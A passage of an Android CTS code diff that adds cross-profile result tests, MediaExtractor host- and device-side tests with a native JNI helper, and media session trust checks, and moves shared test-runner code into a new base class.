+ By.text(CrossProfileResultCheckerActivity.SUCCESS_MESSAGE)),
+ TIMEOUT_WAIT_UI);
+ assertThat(textView).isNotNull();
+ } catch (Exception e) {
+ fail("unable to start cross-profile activity to obtain a returned result: " + e);
+ }
+ }
+
/**
* Calls {@link CrossProfileApps#startActivity(Intent, UserHandle, Activity)}. This can then be
* used by host-side tests.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
new file mode 100644
index 0000000..49f2d9b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * An activity that launches {@link CrossProfileResultReturnerActivity} for result, then displays
+ * the string {@link #SUCCESS_MESSAGE} if successful.
+ *
+ * <p>Must be launched with intent extra {@link #TARGET_USER_EXTRA} with the numeric target user ID.
+ */
+public class CrossProfileResultCheckerActivity extends Activity {
+ static final String SUCCESS_MESSAGE = "Successfully received cross-profile result.";
+ static final String TARGET_USER_EXTRA = "TARGET_USER";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ if (!intent.hasExtra(TARGET_USER_EXTRA)) {
+ throw new IllegalStateException(
+ "CrossProfileResultCheckerActivity started without " + TARGET_USER_EXTRA);
+ }
+ setContentView(R.layout.cross_profile_result_checker);
+ final Intent resultReturnerIntent =
+ new Intent().setComponent(
+ CrossProfileResultReturnerActivity.buildComponentName(this));
+ final UserHandle targetUser = intent.getParcelableExtra(TARGET_USER_EXTRA);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ getSystemService(CrossProfileApps.class),
+ crossProfileApps -> crossProfileApps.startActivity(
+ resultReturnerIntent, targetUser, this));
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ if (resultCode != CrossProfileResultReturnerActivity.RESULT_CODE) {
+ throw new IllegalStateException("Unknown result code: " + resultCode);
+ }
+ final TextView textView = findViewById(R.id.cross_profile_result_checker_result);
+ textView.setText(SUCCESS_MESSAGE);
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultCheckerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
new file mode 100644
index 0000000..8898e91
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** An activity that sets the result as {@link #RESULT_CODE} then finishes. */
+public class CrossProfileResultReturnerActivity extends Activity {
+ static final int RESULT_CODE = 998;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ setResult(RESULT_CODE);
+ finish();
+ }
+
+ static ComponentName buildComponentName(Context context) {
+ return new ComponentName(context, CrossProfileResultReturnerActivity.class);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index 345c91e..ddaf864 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -168,6 +168,8 @@
@LargeTest
@Test
public void testStartActivityIntent_sameTaskByDefault() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
if (!mHasManagedUserFeature) {
return;
}
@@ -194,6 +196,21 @@
@LargeTest
@Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ // TODO(b/171957840): replace with device-side test using an inter-process communication
+ // library.
+ if (!mHasManagedUserFeature) {
+ return;
+ }
+ verifyCrossProfileAppsApi(
+ mProfileId,
+ mPrimaryUserId,
+ START_ACTIVITY_TEST_CLASS,
+ "testStartActivityIntent_crossProfile_returnsResult");
+ }
+
+ @LargeTest
+ @Test
public void testPrimaryUserToSecondaryUser() throws Exception {
if (!mCanTestMultiUser) {
return;
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 9d58ed5..dafe6b9 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -25,6 +25,7 @@
"cts",
"vts10",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
min_sdk_version: "19",
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMediaHostTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..f5b32ab
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,54 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsMediaExtractorHostTestApp",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ compile_multilib: "both",
+ sdk_version: "test_current",
+}
+
+cc_test_library {
+ name: "libCtsMediaExtractorHostTestAppJni",
+ srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+ shared_libs: [
+ "liblog",
+ "libmediandk",
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ ],
+ include_dirs: [
+ "frameworks/av/media/ndk/include/media",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+ sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.media.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.media.cts"
+ android:label="Device test app for MediaExtractor host side tests.">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+ JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+ ScopedUtfChars scopedPath(env, assetPath);
+
+ AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+ AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+ off_t start;
+ off_t length;
+ int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+ auto mediaExtractorTask = [=]() {
+ AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+ AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+ AMediaExtractor_delete(mediaExtractor);
+ };
+
+ if (withAttachedJvm) {
+ // The currently running thread is a Java thread so it has an attached JVM.
+ mediaExtractorTask();
+ } else {
+ // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+ // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+ // new thread, and immediately join its execution so as to wait for its completion.
+ std::thread(mediaExtractorTask).join();
+ }
+ // TODO: Make resource management automatic through scoped handles.
+ close(fd);
+ AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+ static {
+ System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+ }
+
+ private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+ private AssetManager mAssetManager;
+
+ @Before
+ public void setUp() {
+ mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ }
+
+ @Test
+ public void testEntryPointSdk() throws Exception {
+ MediaExtractor mediaExtractor = new MediaExtractor();
+ AssetManager assetManager =
+ InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+ mediaExtractor.setDataSource(fileDescriptor);
+ }
+ mediaExtractor.release();
+ }
+
+ @Test
+ public void testEntryPointNdkNoJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+ }
+
+ @Test
+ public void testEntryPointNdkWithJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+ }
+
+ private native void extractUsingNdkMediaExtractor(
+ AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index b752b41..6ed0e60 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -25,6 +26,8 @@
import android.content.Context;
import android.media.session.MediaController;
import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Process;
import android.service.notification.NotificationListenerService;
import androidx.test.InstrumentationRegistry;
@@ -42,15 +45,16 @@
*/
@SmallTest
public class MediaSessionManagerTest extends NotificationListenerService {
- private ComponentName mComponentName;
+ private Context mContext;
private MediaSessionManager mMediaSessionManager;
+ private ComponentName mComponentName;
@Before
public void setUp() throws Exception {
- Context context = InstrumentationRegistry.getTargetContext();
- mMediaSessionManager = (MediaSessionManager) context.getSystemService(
- Context.MEDIA_SESSION_SERVICE);
- mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
+ mContext = InstrumentationRegistry.getTargetContext();
+ mMediaSessionManager =
+ mContext.getSystemService(MediaSessionManager.class);
+ mComponentName = new ComponentName(mContext, MediaSessionManagerTest.class);
}
/**
@@ -95,4 +99,24 @@
List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
assertTrue(controllers.isEmpty());
}
+
+ /**
+ * Tests if this application is trusted.
+ */
+ @Test
+ public void testIsTrusted_returnsTrue() throws Exception {
+ RemoteUserInfo userInfo = new RemoteUserInfo(
+ mContext.getPackageName(), Process.myPid(), Process.myUid());
+ assertTrue(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+ }
+
+ /**
+ * Tests if this application isn't trusted.
+ */
+ @Test
+ public void testIsTrusted_returnsFalse() throws Exception {
+ RemoteUserInfo userInfo = new RemoteUserInfo(
+ mContext.getPackageName(), Process.myPid(), Process.myUid());
+ assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+ }
}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+ /**
+ * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+ * command output from the device. At any time, if the shell command does not output anything
+ * for a period longer than the defined timeout the Tradefed run terminates.
+ */
+ private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ /** Instrumentation test runner argument key used for individual test timeout. */
+ protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+ /**
+ * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+ * timeout it will log the results and proceed with executing the next test.
+ */
+ private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+ protected IBuildInfo mCtsBuild;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ /**
+ * Runs tests on the device.
+ *
+ * @param pkgName The test package file name that contains the test.
+ * @param testClassName The class name to test within the test package. If {@code null}, runs
+ * all test classes in the package.
+ * @param testMethodName Method name to test within the test class. Ignored if {@code
+ * testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+ */
+ protected void runDeviceTests(
+ String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+ throws DeviceNotAvailableException {
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+ CollectingTestListener listener = new CollectingTestListener();
+ assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+ assertTestsPassed(listener.getCurrentRunResults());
+ }
+
+ /**
+ * Excutes shell command and returns the result.
+ *
+ * @param command The command to run.
+ * @return The result from the command. If the result was {@code null}, empty string ("") will
+ * be returned instead. Otherwise, trimmed result will be returned.
+ */
+ protected @Nonnull String executeShellCommand(String command) throws Exception {
+ LogUtil.CLog.d("Starting command " + command);
+ String commandOutput = getDevice().executeShellCommand(command);
+ LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+ return commandOutput != null ? commandOutput.trim() : "";
+ }
+
+ /** Installs the app with the given {@code appFileName}. */
+ protected void installApp(String appFileName)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ LogUtil.CLog.d("Installing app " + appFileName);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ String result =
+ getDevice()
+ .installPackage(
+ buildHelper.getTestFile(appFileName),
+ /* reinstall= */ true,
+ /* grantPermissions= */ true,
+ "-t"); // Signals that this is a test APK.
+ assertNull("Failed to install " + appFileName + ": " + result, result);
+ }
+
+ /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+ protected RemoteAndroidTestRunner getTestRunner(
+ String pkgName, String testClassName, String testMethodName) {
+ if (testClassName != null && testClassName.startsWith(".")) {
+ testClassName = pkgName + testClassName;
+ }
+
+ RemoteAndroidTestRunner testRunner =
+ new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+ testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ testRunner.addInstrumentationArg(
+ TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+ if (testClassName != null && testMethodName != null) {
+ testRunner.setMethodName(testClassName, testMethodName);
+ } else if (testClassName != null) {
+ testRunner.setClassName(testClassName);
+ }
+ return testRunner;
+ }
+
+ /**
+ * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+ *
+ * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+ */
+ protected void assertTestsPassed(TestRunResult testRunResult) {
+ if (testRunResult.isRunFailure()) {
+ throw new AssertionError(
+ "Failed to successfully run device tests for "
+ + testRunResult.getName()
+ + ": "
+ + testRunResult.getRunFailureMessage());
+ }
+ if (testRunResult.getNumTests() == 0) {
+ throw new AssertionError("No tests were run on the device");
+ }
+
+ if (testRunResult.hasFailedTests()) {
+ // Build a meaningful error message
+ StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+ for (Map.Entry<TestDescription, TestResult> resultEntry :
+ testRunResult.getTestResults().entrySet()) {
+ if (!resultEntry
+ .getValue()
+ .getStatus()
+ .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ }
+ }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
/**
* Base class for host-side tests for multi-user aware media APIs.
*/
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
- private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- /**
- * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
- * command output from the device. At any time, if the shell command does not output anything
- * for a period longer than the defined timeout the Tradefed run terminates.
- */
- private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
- /**
- * Instrumentation test runner argument key used for individual test timeout
- **/
- protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
- /**
- * Sets timeout (in milliseconds) that will be applied to each test. In the
- * event of a test timeout it will log the results and proceed with executing the next test.
- */
- private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
@@ -78,7 +59,6 @@
*/
protected static final int USER_SYSTEM = 0;
- private IBuildInfo mCtsBuild;
private String mPackageVerifier;
private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
"0",
USER_ALL);
- mExistingUsers = new ArrayList();
+ mExistingUsers = new ArrayList<>();
int primaryUserId = getDevice().getPrimaryUserId();
mExistingUsers.add(primaryUserId);
mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
super.tearDown();
}
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
/**
* Installs the app as if the user of the ID {@param userId} has installed the app.
*
@@ -165,20 +140,6 @@
result);
}
- /**
- * Excutes shell command and returns the result.
- *
- * @param command command to run.
- * @return result from the command. If the result was {@code null}, empty string ("") will be
- * returned instead. Otherwise, trimmed result will be returned.
- */
- protected @Nonnull String executeShellCommand(final String command) throws Exception {
- CLog.d("Starting command " + command);
- String commandOutput = getDevice().executeShellCommand(command);
- CLog.d("Output for command " + command + ": " + commandOutput);
- return commandOutput != null ? commandOutput.trim() : "";
- }
-
private int createAndStartUser(String extraParam) throws Exception {
String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
* {@code null}.
* @param userId user ID to run the tests as.
*/
- protected void runDeviceTestsAsUser(
+ protected void runDeviceTests(
String pkgName, @Nullable String testClassName,
@Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, RUNNER, getDevice().getIDevice());
- testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- testRunner.addInstrumentationArg(
- TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
+ RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
CollectingTestListener listener = new CollectingTestListener();
assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new AssertionError("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new AssertionError("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // Build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
+ assertTestsPassed(result);
}
/**
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
new file mode 100644
index 0000000..c06603c
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+ /** Package name of the device-side tests. */
+ private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+ /** Name of the APK that contains the device-side tests. */
